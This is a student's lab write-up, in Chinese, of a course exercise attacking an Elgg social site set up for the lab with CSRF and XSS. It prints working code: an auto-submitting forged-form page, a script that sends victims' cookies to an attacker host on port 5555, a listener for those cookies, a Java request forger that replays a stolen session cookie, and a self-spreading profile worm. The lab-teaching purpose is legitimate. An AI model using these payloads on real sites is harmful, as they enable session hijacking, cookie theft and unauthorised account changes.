进入正题之前,先扯一番:黑客本义并非某些人以为的利用网络干坏事的人,刚开始或者说现在的很多,黑客是以技术大牛的形式存在的,也就是在网络领域有一门专场的牛人。有些黑客不干坏事而是干好事,比如利用网站的漏洞,去告诉网站开发运营者你的网站有漏洞,要修补啦,他们却并不会利用这漏洞干坏事,而是以发现漏洞追求技术快感为享受。
说是网站攻防演练,但估计这套东西已经很老很少用了,毕竟作为课程实验的实例都是“经典”的。不过里面的攻防思想特别是利用漏洞的思想对于学习是很有用处的。
(下面对于CSRF的解释和区别都是援引自实验PPT非个人原创)
实验结果:
(1)CSRF:
任务1:首先登录Alice账号并手动添加Boby为好友,然后用Live HTTP Header工具观察HTTP包头:
就是一个GET命令,附带信息有friend的id号(friend=40),后面elgg这东西是个时间戳,防伪冒用的。
然后修改攻击者网页的内容,添加一个<img>标签,但是src使用添加好友的url链接,也就是当用户访问了这个恶意网页之后,因为会自动GET<img>标签的内容,所以url自动就发出去了,浏览器根据url发送给服务器添加好友的命令。
网页源代码如下:
然后Alice在登录状态下访问这个网址的index.html:
用Live工具可以看到后台自动发送了一个GET命令:
刷新一下Alice的好友圈,发现Boby被自动添加为Alice自己的好友:
任务2:
先手动测试下,Alice手动修改自己的Profile里面的签名并保存,这之后记得要删除签名:
观察Live工具里面的内容:
是个POST命令,后面跟的是要修改后的Profile里面的一些变量值。
然后攻击者(Alice)网页index.html文件修改成如下:
<html><body><h1> This page forges an HTTP POST request. </h1> <script type="text/javascript"> function post(url,fields) { //create a <form> element. var p = document.createElement("form"); //construct the form p.action = url; p.innerHTML = fields; p.target = "_self"; p.method = "post"; //append the form to the current page. document.body.appendChild(p); //submit the form p.submit(); } function csrf_hack() { var fields; // The following are form entries that need to be filled out // by attackers. The entries are made hidden, so the victim // won’t be able to see them. fields += "<input type=’hidden’ name=’name’ value=’Boby’>"; fields += "<input type=’hidden’ name=’description’ value=’I suppot SEED project’>"; fields += "<input type=’hidden’ name=’accesslevel[description]’ value=’2’>"; fields += "<input type=’hidden’ name=’briefdescription’ value=’’>"; fields += "<input type=’hidden’ name=’accesslevel[briefdescription]’ value=’2’>"; fields += "<input type=’hidden’ name=’location’ value=’’>"; fields += "<input type=’hidden’ name=’accesslevel[location]’ value=’2’>"; fields += "<input type=’hidden’ name=’guid’ value=’40’>"; var url = "http://www.csrflabelgg.com/action/profile/edit"; post(url,fields); } // invoke csrf_hack() after the page is loaded. window.onload = function() { csrf_hack();} </script> </body></html>
然后Boby再跳到自己的Profile页面,发现签名被黑了:
回答问题1,完成添加好友的操作需要知道对方的id(guid),请描述下你是如何获取到对方的id(guid)的。
答:我是在Alice手动添加Boby好友时用Live工具观察包头,可以看到包头信息会有guid=40.
2,如果需要让任意访问恶意网站的人都修改掉其个人简介。但是,你又不能事先知道谁会访问这个恶意网站。所以,你还能通过CSRF来完成修改个人简介的操作么?WHY?
答:理论上是可以的,只要能黑到对方的guid号。但是我这里并没有找到方法能够动态获取guid,只能先手动操作然后观察live工具包头知道guid信息,所以关键在于有没有一个函数来获取当前登录用户的guid。
任务3:
注释掉actioin.php文件里actioin_gatekeeper函数最前面的return true
注释掉之后会执行后面的代码,也就是validate_action_token(验证时间戳)函数。代码有个关键函数就是MD5加密,所以即便攻击者能够知道时间guid,只要没有md5加密用的密钥,一样不能伪造出正确的token出来:
重新运行恶意网址,会发现一只停留在此页面,不会自动刷新跳转到ww.example.com:
然后live工具是不断地刷新接包:
跳到Boby的Profile页面,发现右上角有一大堆报错说token验证未通过说明保护成功:
XSS:
任务1:
修改Profile里面的Brief Description如下,也就是直接插入一句script脚本:
另一种方法是在About me个人介绍栏修改如下,因为这一栏最后显示会有一个<p>标签,所以需要先点击右上角remove editor然后把<p></p>标签删掉:
最后保存,可以看到弹窗:
任务2:
在brief description插入如下脚本:
保存可以看到弹窗显示cookie内容:
任务3:
首先在个人简介栏添加如下脚本,表示将当前用户的cookie发送给攻击者的机器5555端口:
<script>document.write(’<img src=http://attacker_IP_address:5555?c=’ + escape(document.cookie) + ’ >’); </script>
/* ECHOSERV.C ========== Simple TCP/IP echo server. */ #include <sys/socket.h> /* socket definitions */ #include <sys/types.h> /* socket types */ #include <arpa/inet.h> /* inet (3) funtions */ #include <unistd.h> /* misc. UNIX functions */ #include "helper.h" /* our own helper functions */ #include <stdlib.h> #include <stdio.h> /* Global constants */ <span style="color:#ff0000;"> #define ECHO_PORT (5555)</span> #define MAX_LINE (1000) int main(int argc, char *argv[]) { int list_s; /* listening socket */ int conn_s; /* connection socket */ short int port; /* port number */ struct sockaddr_in servaddr; /* socket address structure */ char buffer[MAX_LINE]; /* character buffer */ char *endptr; /* for strtol() */ /* Get port number from the command line, and set to default port if no arguments were supplied */ if ( argc == 2 ) { port = strtol(argv[1], &endptr, 0); if ( *endptr ) { fprintf(stderr, "ECHOSERV: Invalid port number.\n"); exit(EXIT_FAILURE); } } else if ( argc < 2 ) { port = ECHO_PORT; } else { fprintf(stderr, "ECHOSERV: Invalid arguments.\n"); exit(EXIT_FAILURE); } /* Create the listening socket */ if ( (list_s = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) { fprintf(stderr, "ECHOSERV: Error creating listening socket.\n"); exit(EXIT_FAILURE); } /* Set all bytes in socket address structure to zero, and fill in the relevant data members */ memset(&servaddr, 0, sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = htonl(INADDR_ANY); servaddr.sin_port = htons(port); /* Bind our socket addresss to the listening socket, and call listen() */ if ( bind(list_s, (struct sockaddr *) &servaddr, sizeof(servaddr)) < 0 ) { fprintf(stderr, "ECHOSERV: Error calling bind()\n"); exit(EXIT_FAILURE); } if ( listen(list_s, LISTENQ) < 0 ) { fprintf(stderr, "ECHOSERV: Error calling listen()\n"); exit(EXIT_FAILURE); } /* Enter an infinite loop to respond to client requests and echo input */ while ( 1 ) { /* Wait for a connection, then accept() it */ if ( (conn_s = accept(list_s, NULL, NULL) ) < 0 ) { fprintf(stderr, "ECHOSERV: Error calling accept()\n"); exit(EXIT_FAILURE); } /* Retrieve an input line from the connected socket then simply write it back to the same socket. */ Readline(conn_s, buffer, MAX_LINE-1); Writeline(conn_s, buffer, strlen(buffer)); printf("%s",buffer); /* Close the connected socket */ if ( close(conn_s) < 0 ) { fprintf(stderr, "ECHOSERV: Error calling close()\n"); exit(EXIT_FAILURE); } } }
然后受害者那边save保存profile修改或者之前已经保存了就刷新下网页,然后攻击者的终端就会获取到受害者的cookie并输入到终端,如下:
任务4:
首先修改攻击者自己的hosts文件,让www.xss.lagelgg.com指向受害者机器的ip:
然后用和任务3同样的方法先获取到受害者的cookie:
手动添加好友看看包头信息,用于java代码完善,然后记得要删除好友:
根据观察结果我们可以在java代码中添加HTTP header的几大块(复制Live工具相应位置的结果即可),包括有url(包含guid)及时间戳(手动添加时从Live工具复制),还有Cookie等变量,最后还有用户自己的data,其他的均不用修改:
import java.io. * ; import java.net. * ; public class HTTPSimpleForge { public static void main(String[] args) throws IOException { try { int responseCode; InputStream responseIn=null; <span style="color:#ff0000;">String requestDetails = "&__elgg_ts=1463798208&__elgg_token=bafb2d09c33fd1ee04c727cf909fa527";</span> // URL to be forged. <span style="color:#ff0000;">URL url = new URL ("http://www.xsslabelgg.com/action/friends/add?friend=40"+requestDetails);</span> // URLConnection instance is created to further parameterize a // resource request past what the state members of URL instance // can represent. HttpURLConnection urlConn = (HttpURLConnection) url.openConnection(); if (urlConn instanceof HttpURLConnection) { urlConn.setConnectTimeout(60000); urlConn.setReadTimeout(90000); } // addRequestProperty method is used to add HTTP Header Information. // Here we add User-Agent HTTP header to the forged HTTP packet. // Add other necessary HTTP Headers yourself. Cookies should be stolen // using the method in task3. <span style="color:#ff0000;">urlConn.addRequestProperty("User-agent","Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Firefox/23.0"); urlConn.addRequestProperty("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); urlConn.addRequestProperty("Accept-Language","en-US,en;q=0.5"); urlConn.addRequestProperty("Accept-Encoding","gzip, deflate");//The former is the name, and the next is the value urlConn.addRequestProperty("Referer","http://www.xsslabelgg.com/profile/boby"); urlConn.addRequestProperty("Cookie","Elgg=jaol6sg0nr4a947nchdfeiu136"); urlConn.addRequestProperty("Connection","keep-alive");</span> //HTTP Post Data which includes the information to be sent to the server. <span style="color:#ff0000;">String data = "name=Alice&guid=39";</span> // DoOutput flag of URL Connection should be set to true // to send HTTP POST message. urlConn.setDoOutput(true); // OutputStreamWriter is used to write the HTTP POST data // to the url connection. OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream()); wr.write(data); wr.flush(); // HttpURLConnection a subclass of URLConnection is returned by // url.openConnection() since the url is an http request. if (urlConn instanceof HttpURLConnection) { HttpURLConnection httpConn = (HttpURLConnection) urlConn; // Contacts the web server and gets the status code from // HTTP Response message. responseCode = httpConn.getResponseCode(); System.out.println("Response Code = " + responseCode); // HTTP status code HTTP_OK means the response was // received sucessfully. if (responseCode == HttpURLConnection.HTTP_OK) // Get the input stream from url connection object. responseIn = urlConn.getInputStream(); // Create an instance for BufferedReader // to read the response line by line. BufferedReader buf_inp = new BufferedReader(new InputStreamReader(responseIn)); String inputLine; while((inputLine = buf_inp.readLine())!=null) { System.out.println(inputLine); } } } catch (MalformedURLException e) { e.printStackTrace(); } } }
然后Alice去看看和Boby的关系,发现被自动添加了Boby为好友,java代码结果成功:
任务5:
刚才用java代码的方式需要攻击者自己动手,任务5则是在攻击者的Profile植入恶意脚本,然后其他用户浏览时会执行恶意脚本并自动产生结果,不需要攻击者再做任何操作。
先让Alice手动添加Samy为还有观察live包头:
然后Alice修改自己的profile保存save之后的live包头为:
这两个包头信息用于JavaScript脚本编写,脚本编写如下:
</p> <script type="text/javascript"> var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST","http://www.xsslabelgg.com/action/profile/edit",true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Keep-Alive","300"); Ajax.setRequestHeader("Connection","keep-alive"); Ajax.setRequestHeader("Cookie",document.cookie); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); var content="__elgg_token=3858e88e1cfe52088d12dd4a0b4037c0&__elgg_ts=1463799514&name=ModifyByAttacker_Alice&description=&accesslevel%5Bdescription%5D=2&briefdescription=%3Cscript+type%3D%22text%2Fjavascript%22%3Edocument.write%28%27%3Cimg+src%3Dhttp%3A%2F%2F192.168.88.131%3A5555%3Fc%3D%27%2Bescape%28document.cookie%29%2B%27%3E%27%29%3B%3C%2Fscript%3E&accesslevel%5Bbriefdescription%5D=2&location=&accesslevel%5Blocation%5D=2&interests=&accesslevel%5Binterests%5D=2&skills=&accesslevel%5Bskills%5D=2&contactemail=&accesslevel%5Bcontactemail%5D=2&phone=&accesslevel%5Bphone%5D=2&mobile=&accesslevel%5Bmobile%5D=2&website=&accesslevel%5Bwebsite%5D=2&twitter=&accesslevel%5Btwitter%5D=2&guid=39"; Ajax.send(content); var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("GET","http://www.xsslabelgg.com/action/friends/add?friend=42&__elgg_ts=1463805188&__elgg_token=7cc237bd8867a3cc485f485195232c89",true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Keep-Alive","300"); Ajax.setRequestHeader("Connection","keep-alive"); Ajax.setRequestHeader("Cookie",document.cookie); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); var content="";Ajax.send(content); </script><p>
要一一对应包头里面的每个键值对,如cookie等,这里因为需要修改用户profile的同时还要添加samy为好友,所以我这里开了两个ajax的XMLHttpRequest,一个用户修改用户profile,一个用户添加samy为好友。
然后在攻击者的About me栏插入这个脚本(brief description无法插入这么长的内容):
保存,可以发现并不会直接显示出来,只能用firebug工具发现植入的JavaScript脚本:
然后受害者Alice去搜索查看下Boby的Profile页面:
点击进入发现Live工具包头可以看到发送了GET和POST指令,分别就是上面说的一个是POST修改用户信息,GET添加Samy为好友:
查看Alice自己的Profile页面,发现签名被篡改:
查看好友圈发现被自动添加了Samy为自己的好友:
于是,任务5也完成了。
任务6:
结果未实现,但是我知道了大体思路,能够伪造修改Profile的包头,但是却无法真正实现在受害者介绍栏中插入整一个脚本。所以这里我只能演示一下不插入整个脚本文件所有内容,而是只插入一句Hello world,然后篡改受害者昵称和添加Samy为还有都没问题,脚本如下:
<pre name="code" class="java"><pre name="code" class="javascript"></p><script id=worm type="text/javascript">var strCode = document.getElementById("worm");var Ajax=null;Ajax=new XMLHttpRequest();Ajax.open("POST","http://www.xsslabelgg.com/action/profile/edit",true);Ajax.setRequestHeader("Host","www.xsslabelgg.com");Ajax.setRequestHeader("Keep-Alive","300");Ajax.setRequestHeader("Connection","keep-alive");Ajax.setRequestHeader("Cookie",document.cookie);Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");var content1="__elgg_token=0bc2454b7c6b587e929711dc57446eaf&__elgg_ts=1463808455&name=YourNameHasBeenModifiedByAttacker&description=";var content2="&accesslevel%5Bdescription%5D=2&briefdescription=&accesslevel%5Bbriefdescription%5D=2&location=&accesslevel%5Blocation%5D=2&interests=&accesslevel%5Binterests%5D=2&skills=&accesslevel%5Bskills%5D=2&contactemail=&accesslevel%5Bcontactemail%5D=2&phone=&accesslevel%5Bphone%5D=2&mobile=&accesslevel%5Bmobile%5D=2&website=&accesslevel%5Bwebsite%5D=2&twitter=&accesslevel%5Btwitter%5D=2&guid=39"; var content=content1+strCode.innerHTML+content2; Ajax.send(content); var Ajax=null;Ajax=new XMLHttpRequest();Ajax.open("GET","http://www.xsslabelgg.com/action/friends/add?friend=42&__elgg_ts=1463808542&__elgg_token=dfeeab52230919bf73d4023d49f5bff8",true);Ajax.setRequestHeader("Host","www.xsslabelgg.com");Ajax.setRequestHeader("Keep-Alive","300");Ajax.setRequestHeader("Connection","keep-alive");Ajax.setRequestHeader("Cookie",document.cookie);Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");var content="";Ajax.send(content);</script><p>